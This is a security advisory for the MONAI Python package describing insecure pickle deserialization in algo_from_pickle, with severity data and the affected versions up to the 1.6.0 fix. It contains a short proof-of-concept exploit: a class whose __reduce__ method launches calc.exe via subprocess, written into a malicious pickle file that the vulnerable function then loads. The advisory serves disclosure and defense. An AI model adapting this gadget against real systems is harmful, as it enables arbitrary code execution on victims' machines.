GHSA-89gg-p5r5-q6r4

Suggest an improvement
Source
https://github.com/advisories/GHSA-89gg-p5r5-q6r4
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-89gg-p5r5-q6r4/GHSA-89gg-p5r5-q6r4.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-89gg-p5r5-q6r4
Aliases
Published
2026-04-07T20:17:21Z
Modified
2026-09-27T11:56:09Z
Severity
  • 7.6 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H CVSS Calculator
Summary
MONAI: Unsafe functions lead to pickle deserialization rce
Details

Summary

The algo_from_pickle function in monai/auto3dseg/utils.py causes pickle.loads(data_bytes) to be executed, and it does not perform any validation on the input parameters. This ultimately leads to insecure deserialization and can result in code execution vulnerabilities.

Details

poc

import pickle
import subprocess
class MaliciousAlgo:
    def __reduce__(self):
        return (subprocess.call, (['calc.exe'],))
malicious_algo_bytes = pickle.dumps(MaliciousAlgo())

attack_data = {
    "algo_bytes": malicious_algo_bytes,  
     
}
attack_pickle_file = "attack_algo.pkl"
with open(attack_pickle_file, "wb") as f:
    f.write(pickle.dumps(attack_data))

Generate the malicious file "attack_algo.pkl" through POC.

from monai.auto3dseg.utils import algo_from_pickle


attack_pickle_file = "attack_algo.pkl"
result = algo_from_pickle(attack_pickle_file)

Ultimately, it will trigger pickle.load through a file to identify the command execution.

image

Causes of the vulnerability:

def algo_from_pickle(pkl_filename: str, template_path: PathLike | None = None, **kwargs: Any) -> Any:

    with open(pkl_filename, "rb") as f_pi:
            data_bytes = f_pi.read()
        data = pickle.loads(data_bytes)

Impact

Arbitrary code execution

Repair suggestions Verify the data source and content before deserializing, or use a safe deserialization method

Database specific
{
    "cwe_ids":  [
        "CWE-502"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-04-07T20:17:21Z",
    "nvd_published_at":  null,
    "severity":  "HIGH"
}
References

Affected packages

PyPI / monai

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
1.6.0

Affected versions

0.*
0.0.1
0.1.0
0.2.0
0.3.0
0.4.0
0.5.0
0.5.1
0.5.2
0.5.3
0.6.0
0.7.0
0.8.0
0.8.1
0.9.0
0.9.1
1.*
1.0.0
1.0.1
1.1.0
1.2.0
1.3.0
1.3.1
1.3.2rc1
1.3.2
1.3.3rc1
1.4.0rc1
1.4.0rc2
1.4.0rc3
1.4.0rc4
1.4.0rc5
1.4.0rc6
1.4.0rc7
1.4.0rc8
1.4.0rc9
1.4.0rc10
1.4.0rc11
1.4.0rc12
1.4.0
1.4.1rc1
1.5.0rc1
1.5.0
1.5.1
1.5.2rc1
1.5.2

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-89gg-p5r5-q6r4/GHSA-89gg-p5r5-q6r4.json"